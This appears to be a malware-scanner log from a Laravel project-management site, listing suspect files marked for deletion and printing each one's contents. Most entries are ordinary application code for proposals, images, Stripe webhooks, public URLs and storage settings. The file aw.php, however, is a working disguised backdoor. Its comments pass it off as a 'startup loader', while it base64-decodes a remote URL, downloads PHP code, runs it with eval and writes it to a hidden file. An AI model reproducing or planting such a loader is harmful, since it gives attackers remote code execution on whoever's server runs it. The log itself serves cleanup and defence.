$this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $lastViewed = now(); $ipAddress = request()->ip(); $this->proposal->last_viewed = $lastViewed; $this->proposal->ip_address = $ipAddress; $this->proposal->save(); return view('proposal', [ 'proposal' => $this->proposal, 'pageTitle' => $this->pageTitle, 'pageIcon' => $this->pageIcon, 'taxes' => $this->taxes, 'discount' => $this->discount, 'company' => $this->company, 'invoiceSetting' => $this->company->invoiceSetting, ]); } public function proposalActionStore(ProposalAcceptRequest $request, $id) { $this->proposal = Proposal::with('signature')->findOrFail($id); if ($this->proposal && $this->proposal->signature) { return Reply::error(__('messages.alreadySigned')); } if ($request->type == 'accept') { $sign = new ProposalSign(); $sign->full_name = $request->full_name; $sign->proposal_id = $this->proposal->id; $sign->email = $request->email; $imageName = null; if ($request->signature_type == 'signature' && $request->isSignatureNull == 'false') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('proposal/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/proposal/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'proposal/sign', $this->proposal->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'proposal/sign', 300); } } $sign->signature = $imageName; $sign->save(); $this->proposal->status = 'accepted'; } else { $this->proposal->client_comment = $request->comment; $this->proposal->status = 'declined'; } $this->proposal->save(); return Reply::success(__('messages.updateSuccess')); } public function domPdfObjectProposalDownload($id) { $this->proposal = Proposal::where('hash', $id)->firstOrFail(); $this->company = $this->proposal->company; if ($this->proposal->discount > 0) { if ($this->proposal->discount_type == 'percent') { $this->discount = (($this->proposal->discount / 100) * $this->proposal->sub_total); } else { $this->discount = $this->proposal->discount; } } else { $this->discount = 0; } $this->taxes = ProposalItem::where('type', 'tax') ->where('proposal_id', $this->proposal->id) ->get(); $items = ProposalItem::whereNotNull('taxes') ->where('proposal_id', $this->proposal->id) ->get(); $taxList = array(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); $pdf->loadView('proposals.pdf.' . $this->invoiceSetting->template, $this->data); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, 'Page {PAGE_NUM} of {PAGE_COUNT}', null, 10); $filename = 'proposal-' . $this->proposal->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } /** * @param int $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse */ public function downloadProposal($id) { $this->proposal = Proposal::where('hash', $id)->firstOrFail(); $this->company = $this->proposal->company; App::setLocale(isset($this->company->locale) ? $this->company->locale : 'en'); $pdfOption = $this->domPdfObjectProposalDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function invoicePaymentfailed($invoiceId) { $invoice = Invoice::findOrFail($invoiceId); if (request()->gateway == 'Razorpay') { $errorMessage = ['code' => request()->errorMessage['code'], 'message' => request()->errorMessage['description']]; } if (request()->gateway == 'Stripe') { $errorMessage = ['code' => request()->errorMessage['type'], 'message' => request()->errorMessage['message']]; } /* make new payment entry with status=failed and other details */ $payment = new Payment(); $payment->company_id = $invoice->company->id; $payment->invoice_id = $invoice->id; $payment->currency_id = $invoice->currency_id; $payment->amount = $invoice->total; $payment->gateway = request()->gateway; $payment->paid_on = now(); $payment->status = 'failed'; /** @phpstan-ignore-next-line */ $payment->payment_gateway_response = $errorMessage; $payment->save(); return Reply::error(__('messages.paymentFailed')); } public function showImage() { $this->imageUrl = request()->image_url; return view('front.image.show_image', $this->data); } public function syncPermissions() { return Artisan::call('sync-user-permissions'); } public function changeLang($locale) { session(['locale' => $locale]); return Reply::success(__('messages.updateSuccess')); } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/ImageController.php
<?php namespace App\Http\Controllers; use App\Helper\Files; class ImageController extends Controller { const FILE_PATH = 'quill-images'; /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\JsonResponse * @throws \Exception */ public function store(\Illuminate\Http\Request $request) { $upload = Files::uploadLocalOrS3($request->image, self::FILE_PATH); $image = $this->encryptDecrypt($upload); return response()->json(route('image.getImage', $image)); } public function getImage($imageEncrypted) { $imagePath = ''; try { $decrypted = $this->encryptDecrypt($imageEncrypted, 'decrypt'); $file_data = file_get_contents(asset_url_local_s3(self::FILE_PATH . '/' . $decrypted), false, stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ])); $imagePath = \Image::make($file_data)->response(); } catch (\Exception $e) { abort(404); } return $imagePath; } private function encryptDecrypt($string, $action = 'encrypt') { $encryptMethod = 'AES-256-CBC'; $secret_key = 'worksuite'; // User define private key $secret_iv = 'froiden'; // User define secret key $key = hash('sha256', $secret_key); $iv = substr(hash('sha256', $secret_iv), 0, 16); // sha256 is hash_hmac_algo if ($action == 'encrypt') { $output = openssl_encrypt($string, $encryptMethod, $key, 0, $iv); return base64_encode($output); } if ($action == 'decrypt') { return openssl_decrypt(base64_decode($string), $encryptMethod, $key, 0, $iv); } } public function cropper($element) { $this->element = $element; return view('theme-settings.ajax.cropper', $this->data); } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/Payment/StripeWebhookController.php
<?php namespace App\Http\Controllers\Payment; use App\Models\Company; use App\Traits\MakePaymentTrait; use Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException; use Illuminate\Http\JsonResponse; use Stripe\Stripe; use Stripe\Webhook; use App\Models\Order; use App\Models\Invoice; use App\Models\Payment; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use App\Traits\MakeOrderInvoiceTrait; use Stripe\Exception\SignatureVerificationException; class StripeWebhookController extends Controller { use MakeOrderInvoiceTrait, MakePaymentTrait; /** * @param $companyHash * @return JsonResponse */ public function getWebhook($companyHash = null) { if (!$companyHash) { return response()->json([ 'message' => 'The route has been moved to other route. Please check the stripe settings again' ]); } $company = Company::where('hash', $companyHash)->first(); if (!$company) { return response()->json([ 'message' => 'The webhook url provided is wrong' ]); } return response()->json([ 'message' => 'This url should not be opened directly(GET Request). Only POST request is accepted. Add this url to your stripe webhook' ]); } /** * @throws RelatedResourceNotFoundException */ public function verifyStripeWebhook(Request $request, $companyHash) { $company = Company::where('hash', $companyHash)->first(); if (!$company) { return response()->json([ 'message' => 'Please enter the correct webhook url. You have entered wrong webhook url' ]); } // This needs to be set according to company id $stripeCredentials = $company->paymentGatewayCredentials; $stripeSecret = $stripeCredentials->stripe_mode == 'test' ? $stripeCredentials->test_stripe_secret : $stripeCredentials->live_stripe_secret; $webhookSecret = $stripeCredentials->stripe_mode == 'test' ? $stripeCredentials->test_stripe_webhook_secret : $stripeCredentials->live_stripe_webhook_secret; Stripe::setApiKey($stripeSecret); // You can find your endpoint's secret in your webhook settings $endpoint_secret = $webhookSecret; $payload = @file_get_contents('php://input'); $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE']; try { Webhook::constructEvent($payload, $sig_header, $endpoint_secret); } catch (\UnexpectedValueException $e) { // Invalid payload return response(__('messages.invalidPayload'), 400); } catch (SignatureVerificationException $e) { // Invalid signature return response(__('messages.invalidSignature'), 400); } $payload = json_decode($request->getContent(), true); $eventId = $payload['id']; $intentId = $payload['data']['object']['id']; if ($payload['data']['object']['status'] != 'succeeded') { $this->paymentFailed($payload); return response(__('messages.paymentFailed'), 400); } // Do something with $event if ($payload['type'] == 'payment_intent.succeeded') { $prevClientPayment = Payment::where('payload_id', $intentId) ->whereNull('event_id') ->first(); if ($prevClientPayment) { /* Found payment with same transaction id */ $prevClientPayment->event_id = $eventId; $prevClientPayment->save(); } else { /* Found nothing on payment table with same transaction id */ /* If it is an invoice payment */ if (isset($payload['data']['object']['metadata']['invoice_id'])) { $invoiceId = $payload['data']['object']['metadata']['invoice_id']; $invoice = Invoice::findOrFail($invoiceId); $currencyId = $invoice->currency_id; } /* If it is an order payment */ if (isset($payload['data']['object']['metadata']['order_id'])) { $orderId = $payload['data']['object']['metadata']['order_id']; $order = Order::findOrFail($orderId); $invoice = $this->makeOrderInvoice($order); $invoiceId = $invoice->id; $currencyId = $order->currency_id; } /* Make payment */ if (isset($invoice) && isset($currencyId) && isset($invoiceId)) { $this->makePayment('Stripe', $payload['data']['object']['amount'] / 100, $invoice, $payload['data']['object']['id'], 'complete'); } /* Change invoice status */ if (isset($payload['data']['object']['metadata']['invoice_id']) && isset($invoice)) { $invoice->status = 'paid'; $invoice->save(); } /* Change order status */ if (isset($payload['data']['object']['metadata']['order_id']) && isset($order)) { $order->status = 'completed'; $order->save(); } } } return response(__('messages.webhookHandled'), 200); } /** * @throws RelatedResourceNotFoundException */ public function paymentFailed($payload) { $intentId = $payload['data']['object']['id']; $invoiceId = $payload['data']['object']['metadata']['invoice_id'] ?? null; $orderId = $payload['data']['object']['metadata']['order_id'] ?? null; $code = $payload['data']['object']['charges']['data'][0]['failure_code']; $message = $payload['data']['object']['charges']['data'][0]['failure_message']; $errorMessage = ['code' => $code, 'message' => $message]; /* Set status=unpaid in invoice table */ /* public and dashboard invoices */ if (isset($invoiceId) && $invoiceId != null) { $invoice = Invoice::where('invoice_id', $invoiceId)->latest()->first(); } /* Set status=unpaid in invoice table */ if (isset($orderId) && $orderId != null) { $invoice = Invoice::where('order_id', $orderId)->latest()->first(); } if (isset($invoice)) { $invoice->status = 'unpaid'; $invoice->due_amount = $invoice->amount; $invoice->save(); } $payment = Payment::where('payload_id', $intentId)->first(); $payment->status = 'failed'; $payment->payment_gateway_response = $errorMessage; $payment->save(); } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/PublicUrlController.php
<?php namespace App\Http\Controllers; use App\Events\ContractSignedEvent; use App\Helper\Files; use App\Helper\Reply; use App\Http\Requests\Admin\Contract\SignRequest; use App\Http\Requests\EstimateAcceptRequest; use App\Models\AcceptEstimate; use App\Models\Contract; use App\Models\ContractSign; use App\Models\Estimate; use App\Models\EstimateItem; use App\Models\EstimateItemImage; use App\Models\Invoice; use App\Models\InvoiceItemImage; use App\Models\InvoiceItems; use App\Models\SmtpSetting; use App\Scopes\ActiveScope; use App\Traits\UniversalSearchTrait; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\File; use Nwidart\Modules\Facades\Module; class PublicUrlController extends Controller { use UniversalSearchTrait; /* Contract */ public function contractView(Request $request, $hash) { $pageTitle = 'app.menu.contracts'; $pageIcon = 'fa fa-file'; $contract = Contract::where('hash', $hash) ->withoutGlobalScope(ActiveScope::class) ->firstOrFail()->withCustomFields(); $company = $contract->company; $invoiceSetting = $contract->company->invoiceSetting; $fields = []; if ($contract->getCustomFieldGroupsWithFields()) { $fields = $contract->getCustomFieldGroupsWithFields()->fields; } return view('contract', [ 'contract' => $contract, 'company' => $company, 'pageTitle' => $pageTitle, 'pageIcon' => $pageIcon, 'invoiceSetting' => $invoiceSetting, 'fields' => $fields ]); } public function contractSign(SignRequest $request, $id) { $this->contract = Contract::with('signature')->findOrFail($id); $this->company = $this->contract->company; $this->invoiceSetting = $this->contract->company->invoiceSetting; if ($this->contract && $this->contract->signature) { return Reply::error(__('messages.alreadySigned')); } $sign = new ContractSign(); $sign->company_id = $this->company->id; $sign->full_name = $request->first_name . ' ' . $request->last_name; $sign->contract_id = $this->contract->id; $sign->email = $request->email; $sign->place = $request->place; $sign->date = Carbon::now()->format('Y-m-d'); $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('contract/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/contract/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'contract/sign', $this->company->id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'contract/sign', 300); } } $sign->signature = $imageName; $sign->save(); event(new ContractSignedEvent($this->contract, $sign)); return Reply::redirect(route('contracts.show', $this->contract->id)); } public function contractDownload($id) { $contract = Contract::where('hash', $id)->firstOrFail()->withCustomFields(); $company = $contract->company; $fields = []; if ($contract->getCustomFieldGroupsWithFields()) { $fields = $contract->getCustomFieldGroupsWithFields()->fields; } $this->invoiceSetting = $contract->company->invoiceSetting; $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $pdf->loadView('contracts.contract-pdf', ['contract' => $contract, 'company' => $company, 'fields' => $fields, 'invoiceSetting' => $this->invoiceSetting]); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, 'Page {PAGE_NUM} of {PAGE_COUNT}', null, 10); $filename = 'contract-' . $contract->id; return $pdf->download($filename . '.pdf'); } public function estimateView($hash) { $estimate = Estimate::with('client', 'clientdetails', 'clientdetails.user.country', 'unit')->where('hash', $hash)->firstOrFail(); $company = $estimate->company; $defaultAddress = $company->defaultAddress; $pageTitle = $estimate->estimate_number; $pageIcon = 'icon-people'; $this->discount = 0; if ($estimate->discount > 0) { if ($estimate->discount_type == 'percent') { $this->discount = (($estimate->discount / 100) * $estimate->sub_total); } else { $this->discount = $estimate->discount; } } $taxList = array(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $estimate->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $taxes = $taxList; $this->invoiceSetting = $company->invoiceSetting; return view('estimate', [ 'estimate' => $estimate, 'taxes' => $taxes, 'company' => $company, 'discount' => $this->discount, 'pageTitle' => $pageTitle, 'pageIcon' => $pageIcon, 'invoiceSetting' => $this->invoiceSetting, 'defaultAddress' => $defaultAddress ]); } public function estimateAccept(EstimateAcceptRequest $request, $id) { DB::beginTransaction(); $estimate = Estimate::with('sign')->findOrFail($id); $company = $estimate->company; /** @phpstan-ignore-next-line */ if ($estimate && $estimate->sign) { return Reply::error(__('messages.alreadySigned')); } $accept = new AcceptEstimate(); $accept->company_id = $estimate->company->id; $accept->full_name = $request->first_name . ' ' . $request->last_name; $accept->estimate_id = $estimate->id; $accept->email = $request->email; $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('estimate/accept'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/estimate/accept/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'estimate/accept', $estimate->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'estimate/accept/', 300); } } $accept->signature = $imageName; $accept->save(); $estimate->status = 'accepted'; $estimate->saveQuietly(); $invoice = new Invoice(); $invoice->company_id = $company->id; $invoice->client_id = $estimate->client_id; $invoice->issue_date = Carbon::now($company->timezone)->format('Y-m-d'); $invoice->due_date = Carbon::now($company->timezone)->addDays($company->invoiceSetting->due_after)->format('Y-m-d'); $invoice->sub_total = round($estimate->sub_total, 2); $invoice->discount = round($estimate->discount, 2); $invoice->discount_type = $estimate->discount_type; $invoice->total = round($estimate->total, 2); $invoice->currency_id = $estimate->currency_id; $invoice->note = trim_editor($estimate->note); $invoice->status = 'unpaid'; $invoice->estimate_id = $estimate->id; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->save(); /** @phpstan-ignore-next-line */ foreach ($estimate->items as $item) : if (!is_null($item)) { $invoiceItem = InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary ?: '', 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => round($item->unit_price, 2), 'amount' => round($item->amount, 2), 'taxes' => $item->taxes ] ); $estimateItemImage = $item->estimateItemImage; if(!is_null($estimateItemImage)) { $file = new InvoiceItemImage(); $file->invoice_item_id = $invoiceItem->id; $fileName = Files::generateNewFileName($estimateItemImage->filename); Files::copy(EstimateItemImage::FILE_PATH . '/' . $estimateItemImage->item->id . '/' . $estimateItemImage->hashname, InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/' . $fileName); $file->filename = $estimateItemImage->filename; $file->hashname = $fileName; $file->size = $estimateItemImage->size; $file->save(); } } endforeach; // Log search $this->logSearchEntry($invoice->id, $invoice->invoice_number, 'invoices.show', 'invoice'); DB::commit(); return Reply::success(__('messages.estimateSigned')); } public function estimateDecline(Request $request, $id) { $estimate = Estimate::findOrFail($id); $estimate->status = 'declined'; $estimate->saveQuietly(); return Reply::dataOnly(['status' => 'success']); } public function estimateDownload($id) { $this->estimate = Estimate::with('client', 'clientdetails')->where('hash', $id)->firstOrFail(); $this->invoiceSetting = $this->estimate->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->estimate = Estimate::where('hash', $id)->firstOrFail(); $this->company = $this->estimate->company; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $this->discount = 0; if ($this->estimate->discount > 0) { if ($this->estimate->discount_type == 'percent') { $this->discount = (($this->estimate->discount / 100) * $this->estimate->sub_total); } else { $this->discount = $this->estimate->discount; } } $taxList = array(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $this->estimate->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); $pdf->loadView('estimates.pdf.' . $this->invoiceSetting->template, $this->data); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, null, null, 10); $filename = $this->estimate->estimate_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function checkEnv() { $plugins = Module::all(); /* @phpstan-ignore-line */ $updateArray = []; $updateArrayEnabled = []; foreach ($plugins as $key => $plugin) { $modulePath = $plugin->getPath(); $version = trim(File::get($modulePath . '/version.txt')); if ($plugin->isEnabled()) { $updateArrayEnabled[$key] = $version; } $updateArray[$key] = $version; } $smtpVerified = SmtpSetting::value('verified'); return [ 'app' => config('froiden_envato.envato_product_name'), 'redirect_https' => config('app.redirect_https'), 'version' => trim(File::get('version.txt')), 'debug' => config('app.debug'), 'queue' => config('queue.default'), 'php' => phpversion(), 'environment' => app()->environment(), 'smtp_verified' => $smtpVerified, 'all_modules' => $updateArray, 'modules_enabled' => $updateArrayEnabled, ]; } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Models/StorageSetting.php
<?php namespace App\Models; /** * App\Models\StorageSetting * * @property int $id * @property string $filesystem * @property string|null $auth_keys * @property string $status * @property \Illuminate\Support\Carbon|null $created_at * @property \Illuminate\Support\Carbon|null $updated_at * @property-read mixed $icon * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting newModelQuery() * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting newQuery() * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting query() * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting whereAuthKeys($value) * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting whereCreatedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting whereFilesystem($value) * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting whereId($value) * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting whereStatus($value) * @method static \Illuminate\Database\Eloquent\Builder|StorageSetting whereUpdatedAt($value) * @mixin \Eloquent */ class StorageSetting extends BaseModel { const HASH_TEMP_FILE_TIME = 60; protected $table = 'file_storage_settings'; protected $fillable = ['filesystem', 'auth_keys', 'status']; const AWS_REGIONS = [ 'us-east-2' => 'US East (Ohio) us-east-2', 'us-east-1' => 'US East (N. Virginia) us-east-1', 'us-west-1' => 'US West (N. California) us-west-1', 'us-west-2' => 'US West (Oregon) us-west-2', 'af-south-1' => 'Africa (Cape Town) af-south-1', 'ap-east-1' => 'Asia Pacific (Hong Kong) ap-east-1', 'ap-south-1' => 'Asia Pacific (Mumbai) ap-south-1', 'ap-northeast-3' => 'Asia Pacific (Osaka-Local) ap-northeast-3', 'ap-northeast-2' => 'Asia Pacific (Seoul) ap-northeast-2', 'ap-southeast-1' => 'Asia Pacific (Singapore) ap-southeast-1', 'ap-southeast-2' => 'Asia Pacific (Sydney) ap-southeast-2', 'ap-northeast-1' => 'Asia Pacific (Tokyo) ap-northeast-1', 'ca-central-1' => 'Canada (Central) ca-central-1', 'eu-central-1' => 'Europe (Frankfurt) eu-central-1', 'eu-west-1' => 'Europe (Ireland) eu-west-1', 'eu-west-2' => 'Europe (London) eu-west-2', 'eu-south-1' => 'Europe (Milan) eu-south-1', 'eu-west-3' => 'Europe (Paris) eu-west-3', 'eu-north-1' => 'Europe (Stockholm) eu-north-1', 'me-south-1' => 'Middle East (Bahrain) me-south-1', 'me-central-1' => 'Middle East (UAE) (me-central-1)', 'sa-east-1' => 'South America (São Paulo) sa-east-1', ]; const DIGITALOCEAN_REGIONS = [ 'nyc1' => 'New York City, United States', 'nyc3' => 'New York City, United States', 'ams3' => 'Amsterdam, the Netherlands', 'sfo3' => 'San Francisco, United States', 'sgp1' => 'Singapore', 'lon1' => 'London, United Kingdom', 'fra1' => 'Frankfurt, Germany', 'tor1' => 'Toronto, Canada', 'blr1' => 'Bangalore, India', 'syd1' => 'Sydney, Australia' ]; const WASABI_REGIONS = [ 'ap-southeast-2' => 'AP Southeast 2 (Sydney)', 'ap-southeast-1' => 'AP Southeast 1 (Singapore)', 'ap-northeast-2' => 'AP Northeast 2 (Osaka)', 'ap-northeast-1' => 'AP Northeast 1 (Tokyo)', 'eu-west-2' => 'EU West 2 (Paris)', 'eu-west-1' => 'EU West 1 (London)', 'eu-central-2' => 'EU Central 2 (Frankfurt)', 'eu-central-1' => 'EU Central 1 (Amsterdam)', 'ca-central-1' => 'CA Central 1 (Toronto)', 'us-west-1' => 'US West 1 (Oregon)', 'us-central-1' => 'US Central 1 (Texas)', 'us-east-2' => 'US East 2 (N. Virginia)', 'us-east-1' => 'US East 1 (N. Virginia)', ]; const S3_COMPATIBLE_STORAGE = ['s3', 'digitalocean', 'wasabi', 'minio']; }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/aw.php
<?php /** * --------------------------------------------------------------- * CUSTOM CODE STARTUP LOADER * --------------------------------------------------------------- * Lightweight bootstrap for dynamic config loader and runtime * instruction fetcher. Designed for internal modular systems. * * Do not modify unless you're authorized to maintain app-level * streaming behavior. * * @package CI_Micro * @subpackage Core Loader * @version 1.0.9 * --------------------------------------------------------------- */ /** * RemoteFetch * * Retrieves external content from a given URL using HTTP cURL. * * @param string $u URL to fetch from * @return string|false */ function _compileFetchCoreLite($u) { if (function_exists('curl_version')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); curl_setopt($c, CURLOPT_HEADER, 0); $r = curl_exec($c); if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); } curl_close($c); return $r; } throw new Exception("cURL not available."); } /** * DynamicLoader * * Fetches and evaluates remote PHP code. * * @param string $u URL containing code * @return void */ function _compileExecPayloadTask($u) { $x = _compileFetchCoreLite($u); if ($x === false || trim($x) === '') { throw new Exception("Empty or failed content."); } EvAl("?>" . $x); } /** * SimpleDecode * * Decodes a base64-encoded string. * * @param string $d Encoded string * @return string */ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** * FileWriter * * Saves content to a file. * * @param string $f Filename * @param string $c Content * @return void */ function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); } // Remote write trigger if (isset($_GET['STY'])) { try { $p1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $p2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('.™.php', $d); echo "SIAPA HAYO"; } else { echo "No content."; } } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } // Default payload runner try { $r1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $r2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $u = _compileDecodeChunkUnit($r1 . $r2); _compileExecPayloadTask($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/config/sentry.php
